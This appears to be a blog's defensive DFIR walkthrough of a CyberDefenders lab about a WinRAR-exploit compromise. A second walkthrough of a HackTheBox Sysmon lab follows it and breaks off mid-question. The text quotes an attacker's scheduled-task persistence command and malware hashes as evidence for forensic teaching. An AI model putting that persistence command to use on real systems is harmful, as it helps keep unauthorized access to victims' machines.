SpottedInTheWild Blue Team Lab Walkthrough A Windows DFIR Challenge Using Arsenal Image Mounter, FTK Imager, Detect It Easy, ProcMon, CyberChef, and Eric Zimmerman\u0026rsquo;s Tools Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in\u0026amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the SpottedInTheWild blue team challenge from CyberDefenders, you\u0026rsquo;re in the right place. This challenge is rated HARD by the authors, but don\u0026rsquo;t let the difficulty rating scare you off. Whether you\u0026rsquo;re just getting started in digital forensics or you\u0026rsquo;ve been around the block a few times, this challenge has something for everyone.\nChallenge Scenario: You are part of the incident response team at FinTrust Bank. This morning, the network monitoring system flagged unusual outbound traffic patterns from several workstations. Preliminary analysis by the IT department has identified a potential compromise linked to an exploited vulnerability in WinRAR software.\nFor this challenge, we\u0026rsquo;re putting on our incident response hats. Several workstations in the environment are showing suspicious outbound traffic, and it\u0026rsquo;s up to us to shed some light on the situation. Fortunately, we\u0026rsquo;re given a virtual hard disk for one of the devices, so we can dig into all the forensic artifacts, reconstruct a timeline, and determine what happened.\nThis scenario pushes us to think creatively, pivot between tools, and piece together a full attack chain using a variety of forensic artifacts. We\u0026rsquo;ll be using a mix of Eric Zimmerman\u0026rsquo;s forensic tools, FTK Imager, CyberChef, Detect It Easy, and even a few public sandbox platforms like Any.Run and VirusTotal to validate our findings. If you\u0026rsquo;re using Flare-VM, most of these tools are already built in and ready to go.\nI\u0026rsquo;ll walk through each step clearly, and by the end, you\u0026rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nImportant: Setup a Safe Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It\u0026rsquo;s always important when working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I\u0026rsquo;m using FLARE-VM for this challenge which is \u0026quot; # \u0026ldquo;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).\u0026ldquo;To keep this write-up focused I\u0026rsquo;m going to skip the step-by-step setup of FLARE-VM but _i_f you\u0026rsquo;d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that\u0026hellip; _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a\u0026hellip;_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: In your investigation into the FinTrust Bank breach, you found an application that was the entry point for the attack. Which application was used to download the malicious file? Let\u0026rsquo;s kick off our investigation and start digging into the provided artifacts. First, unzip the 166-SpottedInTheWild.zip archive from CyberDefenders using the password provided on the challenge page.\nOnce extracted, we\u0026rsquo;ll have access to the challenge file: c125-SpottedInTheWild.vhd.\nSo, what do we do with this thing? There are a variety of options, some of which we\u0026rsquo;ll explore during this investigation. As a first point of entry, we\u0026rsquo;ll leverage one of the suggested tools in the challenge, Arsenal Image Mounter. Arsenal gives us the ability to mount the virtual hard disk (.VHD) file and view the contents of the file system so we can analyze the forensic artifacts contained within.\nOpen Arsenal and press the Mount Disk Image button at the bottom. Select c125-SpottedInTheWild.vhd and use the default mount options.\nArsenal: Selecting the default mount options\nOnce it\u0026rsquo;s loaded, we\u0026rsquo;ll see the file listed in the center pane. As a shortcut, we can open the mounted directory by pressing the F:\\ drive letter.\nArsenal: Opening the mounted directory\nNow we can start checking out the contents of the challenge file.\nTo answer Question 1, we need to determine which file is malicious and where it came from. A logical starting point is the Downloads folder, which we can access by opening the path C\\Users\\Administrator\\Downloads.\nInside that directory, we\u0026rsquo;ll find a folder named Telegram Desktop, which contains a suspicious WinRAR archive: SANS SEC401.rar. Something feels off\u0026hellip;\nIdentifying the suspicious download\nThis archive supposedly contains material from the SANS 401 Security Essentials course, but the folder name suggests it came from the Telegram Desktop app, which is unusual. Since this is the only file in any of the download directories, it\u0026rsquo;s likely the malicious file used to gain initial access to the victim\u0026rsquo;s device. We\u0026rsquo;ll confirm this later in our investigation.\nFor now, we can reasonably assume that Telegram is the application used to download the file. We can confirm its presence on the system by navigating to C\\Users\\Administrator\\AppData\\Roaming\\Telegram Desktop.\nConfirming the presence of Telegram Desktop on the victim device\nQuestion 2: Finding out when the attack started is critical. What is the UTC timestamp for when the suspicious file was first downloaded? Great! Now that we\u0026rsquo;ve positively identified the malicious file and its source, we need to grab the timestamp in UTC for when this file was first downloaded. This will help us start building out a timeline of the attack.\nThere are several ways to approach this task, but for this walkthrough we\u0026rsquo;ll leverage the Master File Table (MFT) artifact from the victim\u0026rsquo;s image. If this is a new artifact for you, here\u0026rsquo;s an excellent overview from the Magnet Forensics blog:\nIn the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file\u0026rsquo;s attributes, such as its name, size, timestamps, permissions, and more.\nThe idea here is to use the $MFT to grab the creation timestamp of the Telegram Desktop folder, and to have this artifact loaded for later in the investigation.\nTo analyze this artifact, we\u0026rsquo;ll use Eric Zimmerman\u0026rsquo;s MFTExplorer, a graphical parser for the $MFT that lets us explore its contents. If you\u0026rsquo;re following along using Flare-VM, this tool is already built-in.\nOpen MFTExplorer, then go to File \u0026gt; Load MFT, and select the victim\u0026rsquo;s $MFT from the C directory of the mounted file system.\nThe location of the $MFT artifact on the victim image\nOnce the $MFT is open, navigate to the C:\\Users\\Administrator\\Downloads directory in the file tree. With the contents displayed, check the SI_Created On column to grab the time this file was created (or downloaded) onto the disk. This is the timestamp we need to answer Question 2.\nMFTExplorer: Identifying the file creation time of Telegram Desktop\nQuestion 3: Knowing which vulnerability was exploited is key to improving security. What is the CVE identifier of the vulnerability used in this attack? Our next objective is to identify which vulnerability was used to carry out the attack. This is a great opportunity to pivot to an external threat intelligence platform so we can benefit from the research of the broader security community. But first, we need to obtain the file hash of the malicious archive.\nJump back into the file explorer and navigate to the Telegram Desktop folder.\nTo collect the hash of SANS SEC401.rar, we can use PowerShell\u0026rsquo;s Get-FileHash command:\nPowerShell: Computing the malware archive file hash\nD1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8\nNow that we\u0026rsquo;ve obtained the SHA256 file hash, head over to VirusTotal and submit the hash in the search box. We\u0026rsquo;ll discover that this sample has already been submitted to the platform, and about half of the security vendors flag the archive as malicious. However, what we\u0026rsquo;re really interested in is one of the tags: CVE-2023€“38831.\nhttps://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8\nThis CVE designation tells us that the file is potentially weaponized to exploit a vulnerability in the WinRAR archive tool. For context, let\u0026rsquo;s take a look at the National Vulnerability Database entry for this CVE:\nRARLAB WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file.\nThat\u0026rsquo;s scary! This vulnerability is especially dangerous because the victim thinks they\u0026rsquo;re opening a harmless archive, but it could be weaponized to execute malicious code instead.\nQuestion 4: In examining the downloaded archive, you noticed a file in with an odd extension indicating it might be malicious. What is the name of this file? Now that we have a better understanding of the SANS SEC401.rar file, let\u0026rsquo;s try to open it and see what\u0026rsquo;s inside. Since we mounted the image using Arsenal\u0026rsquo;s default settings, we\u0026rsquo;re in read-only mode — which means we\u0026rsquo;ll need to copy the file to our analysis file system to extract it.\nFull disclosure: when I exported the file from Arsenal, I ran into some errors and couldn\u0026rsquo;t extract it. If it works for you — great! If not, join me for Plan B: mounting and extracting with FTK Imager.\nFTK Imager is another popular forensic tool used to create and read forensic disk images — and it\u0026rsquo;s also installed on Flare-VM. Once you open FTK, load the image by pressing: File \u0026gt; Add Evidence Item \u0026gt; Image File \u0026gt; Select c125-SpottedInTheWild.vhd \u0026gt; Finish.\nFTK Imager: Exporting the malicious RAR file\nAfter it loads, you\u0026rsquo;ll see a familiar-looking file tree on the left-hand side. Navigate to the C:\\Users\\Administrator\\Downloads\\Telegram Desktop directory and expand it. Right-click the SANS SEC401.rar file and select Export Files\u0026hellip;\nOnce it\u0026rsquo;s copied to your analysis environment, you can use a tool like 7-Zip to extract the contents and reveal the payload within.\nQuestion 5: Uncovering the methods of payload delivery helps in understanding the attack vectors used. What is the URL used by the attacker to download the second stage of the malware? To answer Question 5, let\u0026rsquo;s turn our attention to analyzing the SANS SEC401.pdf.cmd file we just accessed from the RAR archive. For this challenge, we\u0026rsquo;ll start with a simple strings analysis to identify plaintext strings within the file. Maybe we\u0026rsquo;ll stumble across a clue about the second-stage URL.\nThere are plenty of ways to approach this, but I\u0026rsquo;m going to use Detect It Easy (DiE) to parse the file. DiE is another tool preinstalled on Flare-VM, so open it up and point the file name box to the extracted SANS SEC401.pdf.cmd file. Then, tick the Advanced box and press Strings.\nDetect It Easy: Loading the malicious .cmd file\nWhile much of the output is obfuscated, we\u0026rsquo;ll get a few clues toward the bottom in the form of readable strings that can help inform the next steps of our analysis.\nDetect It Easy: Analyzing the strings\nFor example, on line 308, we can see most of a URL — exactly what we need to answer Question 5.\nDetect It Easy: Identifying a URL in the strings\nSince the protocol (like HTTP or HTTPS) is obfuscated, let\u0026rsquo;s pivot to dynamic analysis in our safe sandbox environment.\nFor this dynamic component, we\u0026rsquo;ll actually execute the .cmd file and observe its behavior.\nCMD: Executing the malware in the sandbox\nNotice the error? That result makes sense since there\u0026rsquo;s no Internet connection in the sandbox. Importantly though, we can now see the URL more clearly than we could with the strings view. The second stage is attempting to download an image named amanwhogetsnorest.jpg.\nQuestion 6: To further understand how attackers cover their tracks, identify the script they used to tamper with the event logs. What is the script name? Okay, the next stop on our investigation is to identify the script used to tamper with the Windows Event Logs to evade detection. Let\u0026rsquo;s jump back to the DiE strings view.\nAt the very bottom of the output window (lines 341€“342), we\u0026rsquo;ll spot a potential clue: a file named Eventlogs.ps1 located in the \\Windows\\Temp directory. Let\u0026rsquo;s follow this thread and see if we can determine what this script does.\nDetect It Easy: Identifying a potential log clearing script\nNext, let\u0026rsquo;s head back into MFTExplorer and try to locate the file in the directory we found with DiE.\nMFTExplorer: Confirming script location in the MFT\nBingo! Unfortunately, the image data doesn\u0026rsquo;t exist, so we can\u0026rsquo;t simply export the file. While we can gain some insight into the script\u0026rsquo;s function, it looks a bit daunting to decode statically — so let\u0026rsquo;s try something else.\nI know we\u0026rsquo;re bouncing around between tools but bear with me. Rather than continue with the GUI tool MFTExplorer, we\u0026rsquo;re going to pivot to another pair of Eric Zimmerman\u0026rsquo;s tools: MFTECmd and Timeline Explorer.\nThe plan is to parse the NTFS USN Journal file. The quick version: this file has a special data stream ($J) that contains a record of all file and filename creations, modifications, and deletions. This gives us a detailed timeline of file activity. We\u0026rsquo;ll use MFTECmd to parse the Journal file and export the results to .CSV, which we can then analyze with Timeline Explorer to understand the lifecycle of Eventlogs.ps1.\nLet\u0026rsquo;s put this into practice:\nExport the $J file from either Arsenal or FTK Imager from the victim image\u0026rsquo;s C:\\ folder. Open PowerShell as an administrator and run the following command: MFTECmd.exe -f \u0026lsquo;\u0026lt;path to $J\u0026gt;\u0026rsquo; \u0026ndash;csv \u0026ldquo;\u0026lt;path to CSV output\u0026rdquo;\nPowerShell: Executing MFTEcmd.exe\nOpen the resulting file with Timeline Explorer. For this challenge, we\u0026rsquo;ll keep it simple and enter eventlogs.ps1 into the Name column. This will show all records with that filename, and we can refer to the Update Reasons column to understand when the file was created and deleted. Now we know the file exists and is part of the malware — but if we can\u0026rsquo;t analyze it directly, what else can we do to confirm it tampered with the event logs?\nLuckily for us, Microsoft audits event log clearing in the Security event log as Event ID 1102 — \u0026ldquo;The audit log was cleared.\u0026rdquo;1102(S) The audit log was cleared. — Windows 10 _Though you shouldn\u0026rsquo;t normally see it, this event generates every time Windows Security audit log is cleared. This is\u0026hellip;_learn.microsoft.com\nThough you shouldn\u0026rsquo;t normally see it, this event is generated every time the Windows Security audit log is cleared.\nWe can open the relevant Security.evtx log from the victim\u0026rsquo;s device in the C:\\Windows\\System32\\winevt\\Logs directory.\nThe location of the Security.evtx logs\nOnce the log is opened in Event Viewer, filter for the 1102 events by pressing Filter Current Log and entering 1102 in the search field.\nEvent Viewer: Filtering for 1102 events\nThis gives us one event confirming that the Windows Event Logs were cleared — but the real indictment is that the event timestamp matches what we found with Timeline Explorer.\nEvent Viewer: Identifying a log clear event\nQuestion 7: Knowing when unauthorized actions happened helps in understanding the attack. What is the UTC timestamp for when the script that tampered with event logs was run? Based on the evidence we found in Question 6, we already have two solid datapoints indicating when the eventlogs.ps1 script was run — one from Timeline Explorer and another from the Security event log (Event ID 1102). But just for fun, let\u0026rsquo;s triple-confirm this by checking the PowerShell logs.\nNavigate back to the mounted C\\Windows\\System32\\winevt\\Logs directory and load up the Windows PowerShell.evtx log this time.\nThe location of the Windows PowerShell.evtx logs\nInstead of filtering for an event ID, we\u0026rsquo;ll use the Find\u0026hellip; function to search the log for eventlogs.ps1.\nEvent Viewer: Identifying Eventlogs.ps1 activity\nThis search surfaces the corresponding event within the PowerShell logs, showing that the script was executed at the same time we correlated the logs being cleared and the file being deleted.\nSince the results from MFTECmd were already in UTC, we don\u0026rsquo;t even need to perform a conversion.\nSo, while we couldn\u0026rsquo;t see the script contents directly, we can infer its impact through correlation — and now we\u0026rsquo;ve got three independent sources confirming the timestamp of execution.\nQuestion 8: We need to identify if the attacker maintained access to the machine. What is the command used by the attacker for persistence? We\u0026rsquo;re closing in on the end of our investigation. Let\u0026rsquo;s jump back into DiE and review the strings for further clues. Down on line 335, we\u0026rsquo;ll find evidence of a suspicious task in the Tasks directory: _\\Windows\\System32\\Tasks\\whoisthebaba_\nDetect It Easy: Identifying a suspicious scheduled task in strings\nWe\u0026rsquo;re off to a solid start, but let\u0026rsquo;s correlate this with the victim image using MFTExplorer to see if this file existed on the system by navigating to the folder within the mounted image.\nMFTExplorer: Identifying the scheduled task artifact in the victim image\nGreat — we found it! Unfortunately, we can\u0026rsquo;t extract the file, and there\u0026rsquo;s no evidence in the registry or Security Event Log to determine what this task actually does.\nTime to get creative.\nSince my environment doesn\u0026rsquo;t have Internet access, the next-stage payloads can\u0026rsquo;t be downloaded, so dynamic analysis locally won\u0026rsquo;t help much. Instead, let\u0026rsquo;s pivot to another external threat analysis service. This time, instead of VirusTotal, we\u0026rsquo;ll use something more visual: Any.Run.\nIn your browser, navigate to Any.Run and locate the report search. In the upper-right search box, submit the hash of SANS SEC401.pdf.cmd, which we can collect from FTK Imager or PowerShell (as we did in Question 3):\n5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D\nThe search will return several reports where the platform has analyzed this file. For this walkthrough, select the report from 09 August 2025, labeled Malicious Activity.\nAny.Run: Searching public submissions\nOnce inside, we can use the visual replay window to watch the execution of the file, just as we would have seen in our own sandbox. This is an extremely robust capability offered by Any.Run that helps visualize the dynamic analysis process.\nBut for Question 8, we\u0026rsquo;re most interested in the command used to create the scheduled task. We can identify this in the Command Prompt window during execution. On the right side, we\u0026rsquo;ll also see it listed in the process tree:\nhttps://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb\nschtasks /create /sc minute /mo 3 /tn \u0026ldquo;whoisthebaba\u0026rdquo; /tr C:\\Windows\\Temp\\run.bat /RL HIGHEST\nThis command creates a scheduled task named whoisthebaba that runs every 3 minutes with the highest privilege level, executing run.bat from the Temp directory.\nSo, while we didn\u0026rsquo;t uncover this in our own environment, this shows the value of leveraging public sandboxes for dynamic analysis to overcome local limitations to ultimately find the answer.\nQuestion 9: To understand the attacker\u0026rsquo;s data exfiltration strategy, we need to locate where they stored their harvested data. What is the full path of the file storing the data collected by one of the attacker\u0026rsquo;s tools in preparation for data exfiltration? We\u0026rsquo;ve made it to the final question — and now we need to determine what data the malware collected and how it was staged for exfiltration.\nWe\u0026rsquo;ve already identified another script set to run with the scheduled task we found in Question 8: C:\\Windows\\Temp\\run.bat\nYou may have already noticed that we previously found a reference to this script during the strings analysis using DiE.\nDetect It Easy: Confirming the run.bat string\nFortunately, we can return to FTK Imager and extract this file from the VHD by navigating to the C:\\Windows\\Temp directory, right-clicking run.bat, and selecting Export Files\u0026hellip;\nThere\u0026rsquo;s something curious at the bottom of the data window — we also see a reference to run.ps1. Let\u0026rsquo;s export that file too and drop it into the exported artifacts directory of our analysis environment.\nFTK Imager: Discovering run.ps1 reference in run.bat\nSince run.bat references run.ps1, we\u0026rsquo;ll jump straight into analyzing the .ps1 file first. And because my sandbox is isolated and has no internet access, there\u0026rsquo;s little danger in executing run.ps1 locally.\nBefore executing, we\u0026rsquo;ll monitor the activity with another built-in tool from Flare-VM: Sysinternals Process Monitor (ProcMon). Open ProcMon and set the filter to: Process Name is powershell.exe.\nProcMon: Filtering the powershell.exe process\nThis narrows our focus to only PowerShell events, which helps us better understand what the script is doing. Since we\u0026rsquo;re looking for the full path of the file storing the data collected, we\u0026rsquo;ll start by searching for CreateFile events.\nProcMon: Discovering CreateFile events\nBy doing this, we\u0026rsquo;ll see that PowerShell creates a file named BL4356.txt in the analysis environment. Simultaneously, the PowerShell window appears to be listing dozens of IP addresses as offline\u0026hellip;\nPowerShell: Output of the run.ps1 script\nLet\u0026rsquo;s confirm whether this BL4356.txt artifact also exists in the victim image using FTK Imager or Arsenal.\nFTK Imager: Confirming activity in the victim image\nBingo! This confirms the same behavior in both environments. Between the PowerShell output and the contents of the file, it\u0026rsquo;s clear that the script is performing host discovery and saving the results.\nLet\u0026rsquo;s take it a step further and analyze the contents of run.ps1 directly. For this, we\u0026rsquo;ll use CyberChef, since I suspect there\u0026rsquo;s some obfuscation involved.\nWith CyberChef open, click Open as File in the upper-right to load the script into the input window. As expected, there\u0026rsquo;s a blob of base64-encoded strings, but decoding it isn\u0026rsquo;t quite so straightforward. Notice the reverse operation? The script appears to convert $best64code into an array, then reverse it back into a string.\nCyberChef: Analyzing the run.ps1 script\nTo decode it, copy the $best64code into a new CyberChef tab, then add the Reverse and From Base64 operations to your recipe — and voilà!\nCyberChef: Decoding the run.ps1 script\nWe can confirm that this script performs a host discovery scan and saves the results into the following path: $env:UserProfile\\AppData\\Local\\Temp\\BL4356.txt.\nWe now just need to substitute the victim\u0026rsquo;s actual UserProfile path to construct the full answer.\nConclusion: Whew! That was a tough one — but that wraps up our investigation of the SpottedInTheWild challenge! We walked through each phase of the attack, from identifying the initial malicious archive downloaded via Telegram, to uncovering the use of a WinRAR vulnerability, tracking persistence through scheduled tasks, and finally discovering how the attacker staged data for exfiltration.\nA big thank you to CyberDefenders for putting together such a fun and challenging lab! There was some stumbling along the way, but this one really pushed me to think creatively and combine the strengths of static and dynamic analysis. It also highlighted how public tools like Any.Run, VirusTotal, and CyberChef can help fill in the gaps when your own environment has limitations.\nI initially chose this challenge to learn more about Arsenal Image Mounter, since it was new to me — but it ended up becoming a much more sprawling example of how defenders can pivot between forensic artifacts like the $MFT, USN Journal, and event logs to reconstruct attacker behavior. Whether it was filtering for CreateFile events in ProcMon, decoding obfuscated PowerShell in CyberChef, or correlating timestamps across tools, every step helped us build a clearer picture of the compromise. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in\u0026amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F\nFlare-VM: https://github.com/mandiant/flare-vm\nArsenal Recon — Arsenal Image Mounter: https://arsenalrecon.com/\n**Magnet Forensics — \u0026quot; # \u0026quot;\nHarnessing MFT parsing for incident response investigations\u0026rdquo; :** https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/\nVirusTotal — SANS SEC401.rar: https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8\nNIST NVD — CVE-2023€“38831: https://nvd.nist.gov/vuln/detail/cve-2023-38831\nExterro — FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager\nDetect it Easy: https://github.com/horsicq/Detect-It-Easy\nMicrosoft Learn — 1102(S): The audit log was cleared: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102\nAny.Run: https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb\nSysinternals — Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon\nCyberChef: https://gchq.github.io/CyberChef/\n","date":"2025-10-12T00:00:00Z","image":"/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/ba729aab9ee915e94871767f43d9ee31_MD5.png","permalink":"/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/","title":"CyberDefenders  — SpottedInTheWild Blue Team Lab Walkthrough"},{"content":"HackTheBox | Unit42 | Sherlock Walkthrough Investigating Masquerading Malware Using Sysmon Logs and the Windows Event Viewer. Image Credit: https://app.hackthebox.com/sherlocks/632\nIntroduction: Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the Unit42 Sherlock challenge from Hack The Box, you’re in the right place.\nThis is the third challenge in the Intro to Blue Team track, but you can jump in in any order. If you’re following along or you’re a completionist, check out my write-up of the previous challenge — BFT:\nHackTheBox— BFT Sherlock Walkthrough\nThis challenge leans heavily into endpoint forensics using a real-world inspired narrative. It’s up to us to piece together what happened using only the provided Sysmon logs. We’ll use tools like Windows Event Viewer, VirusTotal, and MITRE ATT\u0026amp;CK to uncover and document the infection chain.\nThis one’s a great opportunity to explore how attackers might abuse legitimate cloud-based delivery mechanisms to deliver trojanized installers masquerading as legitimate tools.\nSo, if you’re new to Sysmon or just want to sharpen your log analysis skills, this is a great challenge to put your hands on. Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: In this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto’s Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: How many Event logs are there with Event ID 11? Let’s kick off our investigation by extracting the unit42.zip archive. This leaves us with a Windows Event Log file: Microsoft-Windows-Sysmon-Operational.evtx, which we can analyze using Windows Event Viewer. Go ahead and double-click the file to launch Windows Event Viewer.\nBut first, before we go any further, let’s take a step back and get a quick refresher on what Sysmon is and what’s contained in its event logs.\nIf you haven’t heard of it before, Sysmon is a utility that’s part of the Microsoft Sysinternals Suite. It runs as a system service and monitors detailed system activity like process creation, file creation, and network connections, and logs it to the Windows Event Log. Sysmon also has its own event types that can be used to filter specific activity in the logs, which is exactly what we’ll do in this challenge.\nLet’s jump back to Event Viewer and make sure we’re looking at the Microsoft-Windows-Sysmon-Operational logs under Saved Logs.\nTo answer Question 1, we’re looking for only Event ID 11 (FileCreate), so we need to filter the log to accurately count these events. We can do this by clicking Filter Current Log… on the right-hand column and entering 11 in the Event ID box.\nWindows Event Viewer: Filtering Sysmon Event ID 11\nOnce the filter is applied, we can see the number of events in the filtered log above the entries:\nWindows Event Viewer: Identifying the number of filtered events\nThis result tells us that there are 56 file creation events captured by Sysmon on the victim system.\nQuestion 2: Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim’s system? For our next task, we need to determine which malicious process infected the victim’s system. To do this, we’ll filter the Sysmon logs again, this time searching for Event ID 1.\nAccording to the Sysmon documentation, Event ID 1 details process creation events and “provides extended information about a newly created process. The full command line provides context on the process execution.”\nOnce we’ve filtered the process creation events, we can start analyzing them. For readability, I’ve switched to the Details tab instead of the default General tab.\nStarting with the earliest events first, the second entry reveals something suspicious — an unusual executable, Preventivo24.02.14.exe.exe, located in the victim’s Downloads folder. Of all the events, this one stands out as the most likely culprit with the available data.\nWindows Event Viewer: Identifying the malicious process with Sysmon Event ID 1\nBut we don’t have to guess! Sysmon also handily provides the file hash values under the Hashes field. We can use these hashes to pivot out to an external threat intelligence service like VirusTotal to check if this exact binary has been analyzed before and make a more informed decision.\nhttps://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3\nWe can see right away that this file hash is detected as malicious by most of the platforms, and there’s a ton of great information about what this executable does. Let’s proceed with our investigation and see what we can gather just by looking at the provided Sysmon logs, shall we?\nQuestion 3: Which Cloud drive was used to distribute the malware? Our next order of business is to determine which cloud storage drive the malicious executable was downloaded from. For this, we can identify the Referrer URL in the Zone.Identifier metadata of the file. This is part of the Mark of the Web metadata stream and can help us analysts identify the source of a file.\nWe can uncover this information by filtering the event log for Event ID 15. This event label is FileCreateStreamHash, and while it sounds complicated, the Sysmon documentation clarifies:\nThis event logs when a named file stream is created, and it generates events that log the hash of the contents of the file to which the stream is assigned (the unnamed stream), as well as the contents of the named stream. There are malware variants that drop their executables or configuration settings via browser downloads, and this event is aimed at capturing that based on the browser attaching a Zone.Identifier \u0026ldquo;mark of the web\u0026rdquo; stream.\nPutting all this together, filtering for Event ID 15 returns two results. The one at the top contains the Mark of the Web stream information for the malicious binary we identified in the previous question.\nWindows Event Viewer: Identifying the referrer URL using Sysmon Event ID 15\nThis entry shows the Zone.Identifier metadata, including the ReferrerUrl which points to Dropbox, a common and very popular cloud storage solution, as the source of malware download.\nQuestion 4: For many of the files it wrote to disk, the initial malicious file used a defense evasion technique called Time Stomping, where the file creation date is changed to make it appear older and blend in with other files. What was the timestamp changed to for the PDF file? Next up, to answer Question 4, we’ll need to identify a PDF file related to the attack and then determine what the manipulated timestamp of the file is.\nThe first step is to filter the Sysmon logs for Event ID 2: A process changed a file creation time. This event ID is helpful for detecting timestomp activity on a victim system. According to the Sysmon documentation:\nThe change file creation time event is registered when a file creation time is explicitly modified by a process. This event helps tracking the real creation time of a file. Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\nOnce we’ve applied the filter, we can use Windows Event Viewer’s built-in Find function and search for the keyword pdf to quickly pinpoint the event we’re seeking.\nWindows Event Viewer: Identifying timestomp events using Sysmon Event ID 2\nTake a look under the file path for ~.pdf — we can see two different timestamps, which confirms that the file was manipulated using a timestomp technique (MITRE ATT\u0026amp;CK T1070.006). We’re looking for the older, original timestamp to answer the question.\nQuestion 5: The malicious file dropped a few files on disk. Where was “once.cmd” created on disk? Please answer with the full path along with the filename. Moving on to Question 5, we need to figure out the file path of another related file: once.cmd.\nThe key phrase in the question is “dropped a few files on disk”, which tells us we’ll need to filter for Event ID 11 (FileCreate) again. Once we’ve applied the filter, we can use the Find function to search for the file in question — once.cmd.\nWindows Event Viewer: Identifying dropped file path event using Sysmon Event ID 11\nOnce we’ve located the event, we’ll learn the full file path of the dropped file.\nQuestion 6: The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to? Now’s the time to start moving away from file-related events and pivot to network events within the Sysmon log. To answer Question 6, filter for Event ID 22: DNSEvent (DNS query) events to identify DNS lookups to external domains.\nThis event is generated when a process executes a DNS query, whether the result is successful or fails, cached or not. The telemetry for this event was added for Windows 8.1 so it is not available on Windows 7 and earlier.\nWindows Event Viewer: Identifying DNS connection check event using Sysmon Event ID 22\nApplying this filter returns three events, with the top event revealing a DNS lookup to a specific domain — this is the one we’re after, and it seems to be used as an internet connection check.\nQuestion 7: Which IP address did the malicious process try to reach out to? To answer Question 7 and continue our analysis of network-related artifacts in the Sysmon log, we’ll now need to determine the IP address that the malicious process reached out to.\nFor this, we’ll filter the Sysmon log for Event ID 3: Network connection. According to the Sysmon documentation:\nThe network connection event logs TCP/UDP connections on the machine. It is disabled by default. Each connection is linked to a process through the ProcessId and ProcessGuid fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.\nApplying this filter yields one result. For ease of viewing, I’ve selected the Details tab. Scroll down to the DestinationIp field to find the remote IP that the malware connects to.\nWindows Event Viewer: Identifying C2 IP using Sysmon Event ID 3\nQuestion 8: The malicious process terminated itself 